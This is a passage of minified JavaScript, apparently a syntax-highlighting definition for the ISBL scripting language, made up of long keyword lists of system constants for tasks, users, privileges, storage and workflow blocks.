SYSRES_CONST_TASK_ACCESS_TYPE_ALL_MEMBERS SYSRES_CONST_TASK_ACCESS_TYPE_MANUAL SYSRES_CONST_TASK_ENCODE_TYPE_CERTIFICATION SYSRES_CONST_TASK_ENCODE_TYPE_CERTIFICATION_AND_PASSWORD SYSRES_CONST_TASK_ENCODE_TYPE_NONE SYSRES_CONST_TASK_ENCODE_TYPE_PASSWORD SYSRES_CONST_TASK_ROUTE_ALL_CONDITION SYSRES_CONST_TASK_ROUTE_AND_CONDITION SYSRES_CONST_TASK_ROUTE_OR_CONDITION SYSRES_CONST_TASK_STATE_ABORTED SYSRES_CONST_TASK_STATE_COMPLETE SYSRES_CONST_TASK_STATE_CONTINUED SYSRES_CONST_TASK_STATE_CONTROL SYSRES_CONST_TASK_STATE_INIT SYSRES_CONST_TASK_STATE_WORKING SYSRES_CONST_TASK_TITLE SYSRES_CONST_TASK_TYPES_GROUPS_REFERENCE_CODE SYSRES_CONST_TASK_TYPES_REFERENCE_CODE SYSRES_CONST_TEMPLATES_REFERENCE_CODE SYSRES_CONST_TEST_DATE_REQUISITE_NAME SYSRES_CONST_TEST_DEV_DATABASE_NAME SYSRES_CONST_TEST_DEV_SYSTEM_CODE SYSRES_CONST_TEST_EDMS_DATABASE_NAME SYSRES_CONST_TEST_EDMS_MAIN_CODE SYSRES_CONST_TEST_EDMS_MAIN_DB_NAME SYSRES_CONST_TEST_EDMS_SECOND_CODE SYSRES_CONST_TEST_EDMS_SECOND_DB_NAME SYSRES_CONST_TEST_EDMS_SYSTEM_CODE SYSRES_CONST_TEST_NUMERIC_REQUISITE_NAME SYSRES_CONST_TEXT_REQUISITE SYSRES_CONST_TEXT_REQUISITE_CODE SYSRES_CONST_TEXT_REQUISITE_TYPE SYSRES_CONST_TEXT_TYPE_CHAR SYSRES_CONST_TYPE_CODE_REQUISITE_CODE SYSRES_CONST_TYPE_REQUISITE_CODE SYSRES_CONST_UNDEFINED_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_UNITS_SECTION_ID_REQUISITE_CODE SYSRES_CONST_UNITS_SECTION_REQUISITE_CODE SYSRES_CONST_UNOPERATING_RECORD_FLAG_VALUE_CODE SYSRES_CONST_UNSTORED_DATA_REQUISITE_CODE SYSRES_CONST_UNSTORED_DATA_REQUISITE_NAME SYSRES_CONST_USE_ACCESS_TYPE_CODE SYSRES_CONST_USE_ACCESS_TYPE_NAME SYSRES_CONST_USER_ACCOUNT_TYPE_VALUE_CODE SYSRES_CONST_USER_ADDITIONAL_INFORMATION_REQUISITE_CODE SYSRES_CONST_USER_AND_GROUP_ID_FROM_PSEUDOREFERENCE_REQUISITE_CODE SYSRES_CONST_USER_CATEGORY_NORMAL SYSRES_CONST_USER_CERTIFICATE_REQUISITE_CODE SYSRES_CONST_USER_CERTIFICATE_STATE_REQUISITE_CODE SYSRES_CONST_USER_CERTIFICATE_SUBJECT_NAME_REQUISITE_CODE SYSRES_CONST_USER_CERTIFICATE_THUMBPRINT_REQUISITE_CODE SYSRES_CONST_USER_COMMON_CATEGORY SYSRES_CONST_USER_COMMON_CATEGORY_CODE SYSRES_CONST_USER_FULL_NAME_REQUISITE_CODE SYSRES_CONST_USER_GROUP_TYPE_REQUISITE_CODE SYSRES_CONST_USER_LOGIN_REQUISITE_CODE SYSRES_CONST_USER_REMOTE_CONTROLLER_REQUISITE_CODE SYSRES_CONST_USER_REMOTE_SYSTEM_REQUISITE_CODE SYSRES_CONST_USER_RIGHTS_T_REQUISITE_CODE SYSRES_CONST_USER_SERVER_NAME_REQUISITE_CODE SYSRES_CONST_USER_SERVICE_CATEGORY SYSRES_CONST_USER_SERVICE_CATEGORY_CODE SYSRES_CONST_USER_STATUS_ADMINISTRATOR_CODE SYSRES_CONST_USER_STATUS_ADMINISTRATOR_NAME SYSRES_CONST_USER_STATUS_DEVELOPER_CODE SYSRES_CONST_USER_STATUS_DEVELOPER_NAME SYSRES_CONST_USER_STATUS_DISABLED_CODE SYSRES_CONST_USER_STATUS_DISABLED_NAME SYSRES_CONST_USER_STATUS_SYSTEM_DEVELOPER_CODE SYSRES_CONST_USER_STATUS_USER_CODE SYSRES_CONST_USER_STATUS_USER_NAME SYSRES_CONST_USER_STATUS_USER_NAME_DEPRECATED SYSRES_CONST_USER_TYPE_FIELD_VALUE_USER SYSRES_CONST_USER_TYPE_REQUISITE_CODE SYSRES_CONST_USERS_CONTROLLER_REQUISITE_CODE SYSRES_CONST_USERS_IS_MAIN_SERVER_REQUISITE_CODE SYSRES_CONST_USERS_REFERENCE_CODE SYSRES_CONST_USERS_REGISTRATION_CERTIFICATES_ACTION_NAME SYSRES_CONST_USERS_REQUISITE_CODE SYSRES_CONST_USERS_SYSTEM_REQUISITE_CODE SYSRES_CONST_USERS_USER_ACCESS_RIGHTS_TYPR_REQUISITE_CODE SYSRES_CONST_USERS_USER_AUTHENTICATION_REQUISITE_CODE SYSRES_CONST_USERS_USER_COMPONENT_REQUISITE_CODE SYSRES_CONST_USERS_USER_GROUP_REQUISITE_CODE SYSRES_CONST_USERS_VIEW_CERTIFICATES_ACTION_NAME SYSRES_CONST_VIEW_DEFAULT_CODE SYSRES_CONST_VIEW_DEFAULT_NAME SYSRES_CONST_VIEWER_REQUISITE_CODE SYSRES_CONST_WAITING_BLOCK_DESCRIPTION SYSRES_CONST_WIZARD_FORM_LABEL_TEST_STRING SYSRES_CONST_WIZARD_QUERY_PARAM_HEIGHT_ETALON_STRING SYSRES_CONST_WIZARD_REFERENCE_COMMENT_REQUISITE_CODE SYSRES_CONST_WORK_RULES_DESCRIPTION_REQUISITE_CODE SYSRES_CONST_WORK_TIME_CALENDAR_REFERENCE_CODE SYSRES_CONST_WORK_WORKFLOW_HARD_ROUTE_TYPE_VALUE SYSRES_CONST_WORK_WORKFLOW_HARD_ROUTE_TYPE_VALUE_CODE SYSRES_CONST_WORK_WORKFLOW_HARD_ROUTE_TYPE_VALUE_CODE_RUS SYSRES_CONST_WORK_WORKFLOW_SOFT_ROUTE_TYPE_VALUE_CODE_RUS SYSRES_CONST_WORKFLOW_ROUTE_TYPR_HARD SYSRES_CONST_WORKFLOW_ROUTE_TYPR_SOFT SYSRES_CONST_XML_ENCODING SYSRES_CONST_XREC_STAT_REQUISITE_CODE SYSRES_CONST_XRECID_FIELD_NAME SYSRES_CONST_YES SYSRES_CONST_YES_NO_2_REQUISITE_CODE SYSRES_CONST_YES_NO_REQUISITE_CODE SYSRES_CONST_YES_NO_T_REF_TYPE_REQUISITE_CODE SYSRES_CONST_YES_PICK_VALUE SYSRES_CONST_YES_VALUE ",w="CR FALSE nil NO_VALUE NULL TAB TRUE YES_VALUE ",H="ADMINISTRATORS_GROUP_NAME CUSTOMIZERS_GROUP_NAME DEVELOPERS_GROUP_NAME SERVICE_USERS_GROUP_NAME ",J="DECISION_BLOCK_FIRST_OPERAND_PROPERTY DECISION_BLOCK_NAME_PROPERTY DECISION_BLOCK_OPERATION_PROPERTY DECISION_BLOCK_RESULT_TYPE_PROPERTY DECISION_BLOCK_SECOND_OPERAND_PROPERTY ",O="ANY_FILE_EXTENTION COMPRESSED_DOCUMENT_EXTENSION EXTENDED_DOCUMENT_EXTENSION SHORT_COMPRESSED_DOCUMENT_EXTENSION SHORT_EXTENDED_DOCUMENT_EXTENSION ",X="JOB_BLOCK_ABORT_DEADLINE_PROPERTY JOB_BLOCK_AFTER_FINISH_EVENT JOB_BLOCK_AFTER_QUERY_PARAMETERS_EVENT JOB_BLOCK_ATTACHMENT_PROPERTY JOB_BLOCK_ATTACHMENTS_RIGHTS_GROUP_PROPERTY JOB_BLOCK_ATTACHMENTS_RIGHTS_TYPE_PROPERTY JOB_BLOCK_BEFORE_QUERY_PARAMETERS_EVENT JOB_BLOCK_BEFORE_START_EVENT JOB_BLOCK_CREATED_JOBS_PROPERTY JOB_BLOCK_DEADLINE_PROPERTY JOB_BLOCK_EXECUTION_RESULTS_PROPERTY JOB_BLOCK_IS_PARALLEL_PROPERTY JOB_BLOCK_IS_RELATIVE_ABORT_DEADLINE_PROPERTY JOB_BLOCK_IS_RELATIVE_DEADLINE_PROPERTY JOB_BLOCK_JOB_TEXT_PROPERTY JOB_BLOCK_NAME_PROPERTY JOB_BLOCK_NEED_SIGN_ON_PERFORM_PROPERTY JOB_BLOCK_PERFORMER_PROPERTY JOB_BLOCK_RELATIVE_ABORT_DEADLINE_TYPE_PROPERTY JOB_BLOCK_RELATIVE_DEADLINE_TYPE_PROPERTY JOB_BLOCK_SUBJECT_PROPERTY ",$="ENGLISH_LANGUAGE_CODE RUSSIAN_LANGUAGE_CODE ",_="smHidden smMaximized smMinimized smNormal wmNo wmYes ",G="COMPONENT_TOKEN_LINK_KIND DOCUMENT_LINK_KIND EDOCUMENT_LINK_KIND FOLDER_LINK_KIND JOB_LINK_KIND REFERENCE_LINK_KIND TASK_LINK_KIND ",Z="COMPONENT_TOKEN_LOCK_TYPE EDOCUMENT_VERSION_LOCK_TYPE ",W="MONITOR_BLOCK_AFTER_FINISH_EVENT MONITOR_BLOCK_BEFORE_START_EVENT MONITOR_BLOCK_DEADLINE_PROPERTY MONITOR_BLOCK_INTERVAL_PROPERTY MONITOR_BLOCK_INTERVAL_TYPE_PROPERTY MONITOR_BLOCK_IS_RELATIVE_DEADLINE_PROPERTY MONITOR_BLOCK_NAME_PROPERTY MONITOR_BLOCK_RELATIVE_DEADLINE_TYPE_PROPERTY MONITOR_BLOCK_SEARCH_SCRIPT_PROPERTY ",D="NOTICE_BLOCK_AFTER_FINISH_EVENT NOTICE_BLOCK_ATTACHMENT_PROPERTY NOTICE_BLOCK_ATTACHMENTS_RIGHTS_GROUP_PROPERTY NOTICE_BLOCK_ATTACHMENTS_RIGHTS_TYPE_PROPERTY NOTICE_BLOCK_BEFORE_START_EVENT NOTICE_BLOCK_CREATED_NOTICES_PROPERTY NOTICE_BLOCK_DEADLINE_PROPERTY NOTICE_BLOCK_IS_RELATIVE_DEADLINE_PROPERTY NOTICE_BLOCK_NAME_PROPERTY NOTICE_BLOCK_NOTICE_TEXT_PROPERTY NOTICE_BLOCK_PERFORMER_PROPERTY NOTICE_BLOCK_RELATIVE_DEADLINE_TYPE_PROPERTY NOTICE_BLOCK_SUBJECT_PROPERTY ",j="dseAfterCancel dseAfterClose dseAfterDelete dseAfterDeleteOutOfTransaction dseAfterInsert dseAfterOpen dseAfterScroll dseAfterUpdate dseAfterUpdateOutOfTransaction dseBeforeCancel dseBeforeClose dseBeforeDelete dseBeforeDetailUpdate dseBeforeInsert dseBeforeOpen dseBeforeUpdate dseOnAnyRequisiteChange dseOnCloseRecord dseOnDeleteError dseOnOpenRecord dseOnPrepareUpdate dseOnUpdateError dseOnUpdateRatifiedRecord dseOnValidDelete dseOnValidUpdate reOnChange reOnChangeValues SELECTION_BEGIN_ROUTE_EVENT SELECTION_END_ROUTE_EVENT ",M="CURRENT_PERIOD_IS_REQUIRED PREVIOUS_CARD_TYPE_NAME SHOW_RECORD_PROPERTIES_FORM ",P="ACCESS_RIGHTS_SETTING_DIALOG_CODE ADMINISTRATOR_USER_CODE ANALYTIC_REPORT_TYPE asrtHideLocal asrtHideRemote CALCULATED_ROLE_TYPE_CODE COMPONENTS_REFERENCE_DEVELOPER_VIEW_CODE DCTS_TEST_PROTOCOLS_FOLDER_PATH E_EDOC_VERSION_ALREADY_APPROVINGLY_SIGNED E_EDOC_VERSION_ALREADY_APPROVINGLY_SIGNED_BY_USER E_EDOC_VERSION_ALREDY_SIGNED E_EDOC_VERSION_ALREDY_SIGNED_BY_USER EDOC_TYPES_CODE_REQUISITE_FIELD_NAME EDOCUMENTS_ALIAS_NAME FILES_FOLDER_PATH FILTER_OPERANDS_DELIMITER FILTER_OPERATIONS_DELIMITER FORMCARD_NAME FORMLIST_NAME GET_EXTENDED_DOCUMENT_EXTENSION_CREATION_MODE GET_EXTENDED_DOCUMENT_EXTENSION_IMPORT_MODE INTEGRATED_REPORT_TYPE IS_BUILDER_APPLICATION_ROLE IS_BUILDER_APPLICATION_ROLE2 IS_BUILDER_USERS ISBSYSDEV LOG_FOLDER_PATH mbCancel mbNo mbNoToAll mbOK mbYes mbYesToAll MEMORY_DATASET_DESRIPTIONS_FILENAME mrNo mrNoToAll mrYes mrYesToAll MULTIPLE_SELECT_DIALOG_CODE NONOPERATING_RECORD_FLAG_FEMININE NONOPERATING_RECORD_FLAG_MASCULINE OPERATING_RECORD_FLAG_FEMININE OPERATING_RECORD_FLAG_MASCULINE PROFILING_SETTINGS_COMMON_SETTINGS_CODE_VALUE PROGRAM_INITIATED_LOOKUP_ACTION ratDelete ratEdit ratInsert REPORT_TYPE REQUIRED_PICK_VALUES_VARIABLE rmCard rmList SBRTE_PROGID_DEV SBRTE_PROGID_RELEASE STATIC_ROLE_TYPE_CODE SUPPRESS_EMPTY_TEMPLATE_CREATION SYSTEM_USER_CODE UPDATE_DIALOG_DATASET USED_IN_OBJECT_HINT_PARAM USER_INITIATED_LOOKUP_ACTION USER_NAME_FORMAT USER_SELECTION_RESTRICTIONS WORKFLOW_TEST_PROTOCOLS_FOLDER_PATH ELS_SUBTYPE_CONTROL_NAME ELS_FOLDER_KIND_CONTROL_NAME REPEAT_PROCESS_CURRENT_OBJECT_EXCEPTION_NAME ",f="PRIVILEGE_COMPONENT_FULL_ACCESS PRIVILEGE_DEVELOPMENT_EXPORT PRIVILEGE_DEVELOPMENT_IMPORT PRIVILEGE_DOCUMENT_DELETE PRIVILEGE_ESD PRIVILEGE_FOLDER_DELETE PRIVILEGE_MANAGE_ACCESS_RIGHTS PRIVILEGE_MANAGE_REPLICATION PRIVILEGE_MANAGE_SESSION_SERVER PRIVILEGE_OBJECT_FULL_ACCESS PRIVILEGE_OBJECT_VIEW PRIVILEGE_RESERVE_LICENSE PRIVILEGE_SYSTEM_CUSTOMIZE PRIVILEGE_SYSTEM_DEVELOP PRIVILEGE_SYSTEM_INSTALL PRIVILEGE_TASK_DELETE PRIVILEGE_USER_PLUGIN_SETTINGS_CUSTOMIZE PRIVILEGES_PSEUDOREFERENCE_CODE ",N="ACCESS_TYPES_PSEUDOREFERENCE_CODE ALL_AVAILABLE_COMPONENTS_PSEUDOREFERENCE_CODE ALL_AVAILABLE_PRIVILEGES_PSEUDOREFERENCE_CODE ALL_REPLICATE_COMPONENTS_PSEUDOREFERENCE_CODE AVAILABLE_DEVELOPERS_COMPONENTS_PSEUDOREFERENCE_CODE COMPONENTS_PSEUDOREFERENCE_CODE FILTRATER_SETTINGS_CONFLICTS_PSEUDOREFERENCE_CODE GROUPS_PSEUDOREFERENCE_CODE RECEIVE_PROTOCOL_PSEUDOREFERENCE_CODE REFERENCE_REQUISITE_PSEUDOREFERENCE_CODE REFERENCE_REQUISITES_PSEUDOREFERENCE_CODE REFTYPES_PSEUDOREFERENCE_CODE REPLICATION_SEANCES_DIARY_PSEUDOREFERENCE_CODE SEND_PROTOCOL_PSEUDOREFERENCE_CODE SUBSTITUTES_PSEUDOREFERENCE_CODE SYSTEM_SETTINGS_PSEUDOREFERENCE_CODE UNITS_PSEUDOREFERENCE_CODE USERS_PSEUDOREFERENCE_CODE VIEWERS_PSEUDOREFERENCE_CODE ",T="CERTIFICATE_TYPE_ENCRYPT CERTIFICATE_TYPE_SIGN CERTIFICATE_TYPE_SIGN_AND_ENCRYPT ",C="STORAGE_TYPE_FILE STORAGE_TYPE_NAS_CIFS STORAGE_TYPE_SAPERION STORAGE_TYPE_SQL_SERVER ",R="COMPTYPE2_REQUISITE_DOCUMENTS_VALUE COMPTYPE2_REQUISITE_TASKS_VALUE COMPTYPE2_REQUISITE_FOLDERS_VALUE COMPTYPE2_REQUISITE_REFERENCES_VALUE ",x="SYSREQ_CODE SYSREQ_COMPTYPE2 SYSREQ_CONST_AVAILABLE_FOR_WEB SYSREQ_CONST_COMMON_CODE SYSREQ_CONST_COMMON_VALUE SYSREQ_CONST_FIRM_CODE SYSREQ_CONST_FIRM_STATUS SYSREQ_CONST_FIRM_VALUE SYSREQ_CONST_SERVER_STATUS SYSREQ_CONTENTS SYSREQ_DATE_OPEN SYSREQ_DATE_CLOSE SYSREQ_DESCRIPTION SYSREQ_DESCRIPTION_LOCALIZE_ID SYSREQ_DOUBLE SYSREQ_EDOC_ACCESS_TYPE SYSREQ_EDOC_AUTHOR SYSREQ_EDOC_CREATED SYSREQ_EDOC_DELEGATE_RIGHTS_REQUISITE_CODE SYSREQ_EDOC_EDITOR SYSREQ_EDOC_ENCODE_TYPE SYSREQ_EDOC_ENCRYPTION_PLUGIN_NAME SYSREQ_EDOC_ENCRYPTION_PLUGIN_VERSION SYSREQ_EDOC_EXPORT_DATE SYSREQ_EDOC_EXPORTER SYSREQ_EDOC_KIND SYSREQ_EDOC_LIFE_STAGE_NAME SYSREQ_EDOC_LOCKED_FOR_SERVER_CODE SYSREQ_EDOC_MODIFIED SYSREQ_EDOC_NAME SYSREQ_EDOC_NOTE SYSREQ_EDOC_QUALIFIED_ID SYSREQ_EDOC_SESSION_KEY SYSREQ_EDOC_SESSION_KEY_ENCRYPTION_PLUGIN_NAME SYSREQ_EDOC_SESSION_KEY_ENCRYPTION_PLUGIN_VERSION SYSREQ_EDOC_SIGNATURE_TYPE SYSREQ_EDOC_SIGNED SYSREQ_EDOC_STORAGE SYSREQ_EDOC_STORAGES_ARCHIVE_STORAGE SYSREQ_EDOC_STORAGES_CHECK_RIGHTS SYSREQ_EDOC_STORAGES_COMPUTER_NAME SYSREQ_EDOC_STORAGES_EDIT_IN_STORAGE SYSREQ_EDOC_STORAGES_EXECUTIVE_STORAGE SYSREQ_EDOC_STORAGES_FUNCTION SYSREQ_EDOC_STORAGES_INITIALIZED SYSREQ_EDOC_STORAGES_LOCAL_PATH SYSREQ_EDOC_STORAGES_SAPERION_DATABASE_NAME SYSREQ_EDOC_STORAGES_SEARCH_BY_TEXT SYSREQ_EDOC_STORAGES_SERVER_NAME SYSREQ_EDOC_STORAGES_SHARED_SOURCE_NAME SYSREQ_EDOC_STORAGES_TYPE SYSREQ_EDOC_TEXT_MODIFIED SYSREQ_EDOC_TYPE_ACT_CODE SYSREQ_EDOC_TYPE_ACT_DESCRIPTION SYSREQ_EDOC_TYPE_ACT_DESCRIPTION_LOCALIZE_ID SYSREQ_EDOC_TYPE_ACT_ON_EXECUTE SYSREQ_EDOC_TYPE_ACT_ON_EXECUTE_EXISTS SYSREQ_EDOC_TYPE_ACT_SECTION SYSREQ_EDOC_TYPE_ADD_PARAMS SYSREQ_EDOC_TYPE_COMMENT SYSREQ_EDOC_TYPE_EVENT_TEXT SYSREQ_EDOC_TYPE_NAME_IN_SINGULAR SYSREQ_EDOC_TYPE_NAME_IN_SINGULAR_LOCALIZE_ID SYSREQ_EDOC_TYPE_NAME_LOCALIZE_ID SYSREQ_EDOC_TYPE_NUMERATION_METHOD SYSREQ_EDOC_TYPE_PSEUDO_REQUISITE_CODE SYSREQ_EDOC_TYPE_REQ_CODE SYSREQ_EDOC_TYPE_REQ_DESCRIPTION SYSREQ_EDOC_TYPE_REQ_DESCRIPTION_LOCALIZE_ID SYSREQ_EDOC_TYPE_REQ_IS_LEADING SYSREQ_EDOC_TYPE_REQ_IS_REQUIRED SYSREQ_EDOC_TYPE_REQ_NUMBER SYSREQ_EDOC_TYPE_REQ_ON_CHANGE SYSREQ_EDOC_TYPE_REQ_ON_CHANGE_EXISTS SYSREQ_EDOC_TYPE_REQ_ON_SELECT SYSREQ_EDOC_TYPE_REQ_ON_SELECT_KIND SYSREQ_EDOC_TYPE_REQ_SECTION SYSREQ_EDOC_TYPE_VIEW_CARD SYSREQ_EDOC_TYPE_VIEW_CODE SYSREQ_EDOC_TYPE_VIEW_COMMENT SYSREQ_EDOC_TYPE_VIEW_IS_MAIN SYSREQ_EDOC_TYPE_VIEW_NAME SYSREQ_EDOC_TYPE_VIEW_NAME_LOCALIZE_ID SYSREQ_EDOC_VERSION_AUTHOR SYSREQ_EDOC_VERSION_CRC SYSREQ_EDOC_VERSION_DATA SYSREQ_EDOC_VERSION_EDITOR SYSREQ_EDOC_VERSION_EXPORT_DATE SYSREQ_EDOC_VERSION_EXPORTER SYSREQ_EDOC_VERSION_HIDDEN SYSREQ_EDOC_VERSION_LIFE_STAGE SYSREQ_EDOC_VERSION_MODIFIED SYSREQ_EDOC_VERSION_NOTE SYSREQ_EDOC_VERSION_SIGNATURE_TYPE SYSREQ_EDOC_VERSION_SIGNED SYSREQ_EDOC_VERSION_SIZE SYSREQ_EDOC_VERSION_SOURCE SYSREQ_EDOC_VERSION_TEXT_MODIFIED SYSREQ_EDOCKIND_DEFAULT_VERSION_STATE_CODE SYSREQ_FOLDER_KIND SYSREQ_FUNC_CATEGORY SYSREQ_FUNC_COMMENT SYSREQ_FUNC_GROUP SYSREQ_FUNC_GROUP_COMMENT SYSREQ_FUNC_GROUP_NUMBER SYSREQ_FUNC_HELP SYSREQ_FUNC_PARAM_DEF_VALUE SYSREQ_FUNC_PARAM_IDENT SYSREQ_FUNC_PARAM_NUMBER SYSREQ_FUNC_PARAM_TYPE SYSREQ_FUNC_TEXT SYSREQ_GROUP_CATEGORY SYSREQ_ID SYSREQ_LAST_UPDATE SYSREQ_LEADER_REFERENCE SYSREQ_LINE_NUMBER SYSREQ_MAIN_RECORD_ID SYSREQ_NAME SYSREQ_NAME_LOCALIZE_ID SYSREQ_NOTE SYSREQ_ORIGINAL_RECORD SYSREQ_OUR_FIRM SYSREQ_PROFILING_SETTINGS_BATCH_LOGING SYSREQ_PROFILING_SETTINGS_BATCH_SIZE SYSREQ_PROFILING_SETTINGS_PROFILING_ENABLED SYSREQ_PROFILING_SETTINGS_SQL_PROFILING_ENABLED SYSREQ_PROFILING_SETTINGS_START_LOGGED SYSREQ_RECORD_STATUS SYSREQ_REF_REQ_FIELD_NAME SYSREQ_REF_REQ_FORMAT SYSREQ_REF_REQ_GENERATED SYSREQ_REF_REQ_LENGTH SYSREQ_REF_REQ_PRECISION SYSREQ_REF_REQ_REFERENCE SYSREQ_REF_REQ_SECTION SYSREQ_REF_REQ_STORED SYSREQ_REF_REQ_TOKENS SYSREQ_REF_REQ_TYPE SYSREQ_REF_REQ_VIEW SYSREQ_REF_TYPE_ACT_CODE SYSREQ_REF_TYPE_ACT_DESCRIPTION SYSREQ_REF_TYPE_ACT_DESCRIPTION_LOCALIZE_ID SYSREQ_REF_TYPE_ACT_ON_EXECUTE SYSREQ_REF_TYPE_ACT_ON_EXECUTE_EXISTS SYSREQ_REF_TYPE_ACT_SECTION SYSREQ_REF_TYPE_ADD_PARAMS SYSREQ_REF_TYPE_COMMENT SYSREQ_REF_TYPE_COMMON_SETTINGS SYSREQ_REF_TYPE_DISPLAY_REQUISITE_NAME SYSREQ_REF_TYPE_EVENT_TEXT SYSREQ_REF_TYPE_MAIN_LEADING_REF SYSREQ_REF_TYPE_NAME_IN_SINGULAR SYSREQ_REF_TYPE_NAME_IN_SINGULAR_LOCALIZE_ID SYSREQ_REF_TYPE_NAME_LOCALIZE_ID SYSREQ_REF_TYPE_NUMERATION_METHOD SYSREQ_REF_TYPE_REQ_CODE SYSREQ_REF_TYPE_REQ_DESCRIPTION SYSREQ_REF_TYPE_REQ_DESCRIPTION_LOCALIZE_ID SYSREQ_REF_TYPE_REQ_IS_CONTROL SYSREQ_REF_TYPE_REQ_IS_FILTER SYSREQ_REF_TYPE_REQ_IS_LEADING SYSREQ_REF_TYPE_REQ_IS_REQUIRED SYSREQ_REF_TYPE_REQ_NUMBER SYSREQ_REF_TYPE_REQ_ON_CHANGE SYSREQ_REF_TYPE_REQ_ON_CHANGE_EXISTS SYSREQ_REF_TYPE_REQ_ON_SELECT SYSREQ_REF_TYPE_REQ_ON_SELECT_KIND SYSREQ_REF_TYPE_REQ_SECTION SYSREQ_REF_TYPE_VIEW_CARD SYSREQ_REF_TYPE_VIEW_CODE SYSREQ_REF_TYPE_VIEW_COMMENT SYSREQ_REF_TYPE_VIEW_IS_MAIN SYSREQ_REF_TYPE_VIEW_NAME SYSREQ_REF_TYPE_VIEW_NAME_LOCALIZE_ID SYSREQ_REFERENCE_TYPE_ID SYSREQ_STATE "+"SYSREQ_STATЕ "+"SYSREQ_SYSTEM_SETTINGS_VALUE SYSREQ_TYPE SYSREQ_UNIT SYSREQ_UNIT_ID SYSREQ_USER_GROUPS_GROUP_FULL_NAME SYSREQ_USER_GROUPS_GROUP_NAME SYSREQ_USER_GROUPS_GROUP_SERVER_NAME SYSREQ_USERS_ACCESS_RIGHTS SYSREQ_USERS_AUTHENTICATION SYSREQ_USERS_CATEGORY SYSREQ_USERS_COMPONENT SYSREQ_USERS_COMPONENT_USER_IS_PUBLIC SYSREQ_USERS_DOMAIN SYSREQ_USERS_FULL_USER_NAME SYSREQ_USERS_GROUP SYSREQ_USERS_IS_MAIN_SERVER SYSREQ_USERS_LOGIN SYSREQ_USERS_REFERENCE_USER_IS_PUBLIC SYSREQ_USERS_STATUS SYSREQ_USERS_USER_CERTIFICATE SYSREQ_USERS_USER_CERTIFICATE_INFO SYSREQ_USERS_USER_CERTIFICATE_PLUGIN_NAME SYSREQ_USERS_USER_CERTIFICATE_PLUGIN_VERSION SYSREQ_USERS_USER_CERTIFICATE_STATE SYSREQ_USERS_USER_CERTIFICATE_SUBJECT_NAME SYSREQ_USERS_USER_CERTIFICATE_THUMBPRINT SYSREQ_USERS_USER_DEFAULT_CERTIFICATE SYSREQ_USERS_USER_DESCRIPTION SYSREQ_USERS_USER_GLOBAL_NAME SYSREQ_USERS_USER_LOGIN SYSREQ_USERS_USER_MAIN_SERVER SYSREQ_USERS_USER_TYPE SYSREQ_WORK_RULES_FOLDER_ID ",y="RESULT_VAR_NAME RESULT_VAR_NAME_ENG ",B="AUTO_NUMERATION_RULE_ID CANT_CHANGE_ID_REQUISITE_RULE_ID CANT_CHANGE_OURFIRM_REQUISITE_RULE_ID CHECK_CHANGING_REFERENCE_RECORD_USE_RULE_ID CHECK_CODE_REQUISITE_RULE_ID CHECK_DELETING_REFERENCE_RECORD_USE_RULE_ID CHECK_FILTRATER_CHANGES_RULE_ID CHECK_RECORD_INTERVAL_RULE_ID CHECK_REFERENCE_INTERVAL_RULE_ID CHECK_REQUIRED_DATA_FULLNESS_RULE_ID CHECK_REQUIRED_REQUISITES_FULLNESS_RULE_ID MAKE_RECORD_UNRATIFIED_RULE_ID RESTORE_AUTO_NUMERATION_RULE_ID SET_FIRM_CONTEXT_FROM_RECORD_RULE_ID SET_FIRST_RECORD_IN_LIST_FORM_RULE_ID SET_IDSPS_VALUE_RULE_ID SET_NEXT_CODE_VALUE_RULE_ID SET_OURFIRM_BOUNDS_RULE_ID SET_OURFIRM_REQUISITE_RULE_ID ",b="SCRIPT_BLOCK_AFTER_FINISH_EVENT SCRIPT_BLOCK_BEFORE_START_EVENT SCRIPT_BLOCK_EXECUTION_RESULTS_PROPERTY SCRIPT_BLOCK_NAME_PROPERTY SCRIPT_BLOCK_SCRIPT_PROPERTY ",F="SUBTASK_BLOCK_ABORT_DEADLINE_PROPERTY SUBTASK_BLOCK_AFTER_FINISH_EVENT SUBTASK_BLOCK_ASSIGN_PARAMS_EVENT SUBTASK_BLOCK_ATTACHMENTS_PROPERTY SUBTASK_BLOCK_ATTACHMENTS_RIGHTS_GROUP_PROPERTY SUBTASK_BLOCK_ATTACHMENTS_RIGHTS_TYPE_PROPERTY SUBTASK_BLOCK_BEFORE_START_EVENT SUBTASK_BLOCK_CREATED_TASK_PROPERTY SUBTASK_BLOCK_CREATION_EVENT SUBTASK_BLOCK_DEADLINE_PROPERTY SUBTASK_BLOCK_IMPORTANCE_PROPERTY SUBTASK_BLOCK_INITIATOR_PROPERTY SUBTASK_BLOCK_IS_RELATIVE_ABORT_DEADLINE_PROPERTY SUBTASK_BLOCK_IS_RELATIVE_DEADLINE_PROPERTY SUBTASK_BLOCK_JOBS_TYPE_PROPERTY SUBTASK_BLOCK_NAME_PROPERTY SUBTASK_BLOCK_PARALLEL_ROUTE_PROPERTY SUBTASK_BLOCK_PERFORMERS_PROPERTY SUBTASK_BLOCK_RELATIVE_ABORT_DEADLINE_TYPE_PROPERTY SUBTASK_BLOCK_RELATIVE_DEADLINE_TYPE_PROPERTY SUBTASK_BLOCK_REQUIRE_SIGN_PROPERTY SUBTASK_BLOCK_STANDARD_ROUTE_PROPERTY SUBTASK_BLOCK_START_EVENT SUBTASK_BLOCK_STEP_CONTROL_PROPERTY SUBTASK_BLOCK_SUBJECT_PROPERTY SUBTASK_BLOCK_TASK_CONTROL_PROPERTY SUBTASK_BLOCK_TEXT_PROPERTY SUBTASK_BLOCK_UNLOCK_ATTACHMENTS_ON_STOP_PROPERTY SUBTASK_BLOCK_USE_STANDARD_ROUTE_PROPERTY SUBTASK_BLOCK_WAIT_FOR_TASK_COMPLETE_PROPERTY ",Q="SYSCOMP_CONTROL_JOBS SYSCOMP_FOLDERS SYSCOMP_JOBS SYSCOMP_NOTICES SYSCOMP_TASKS ",u="SYSDLG_CREATE_EDOCUMENT SYSDLG_CREATE_EDOCUMENT_VERSION SYSDLG_CURRENT_PERIOD SYSDLG_EDIT_FUNCTION_HELP SYSDLG_EDOCUMENT_KINDS_FOR_TEMPLATE SYSDLG_EXPORT_MULTIPLE_EDOCUMENTS SYSDLG_EXPORT_SINGLE_EDOCUMENT SYSDLG_IMPORT_EDOCUMENT SYSDLG_MULTIPLE_SELECT SYSDLG_SETUP_ACCESS_RIGHTS SYSDLG_SETUP_DEFAULT_RIGHTS SYSDLG_SETUP_FILTER_CONDITION SYSDLG_SETUP_SIGN_RIGHTS SYSDLG_SETUP_TASK_OBSERVERS SYSDLG_SETUP_TASK_ROUTE 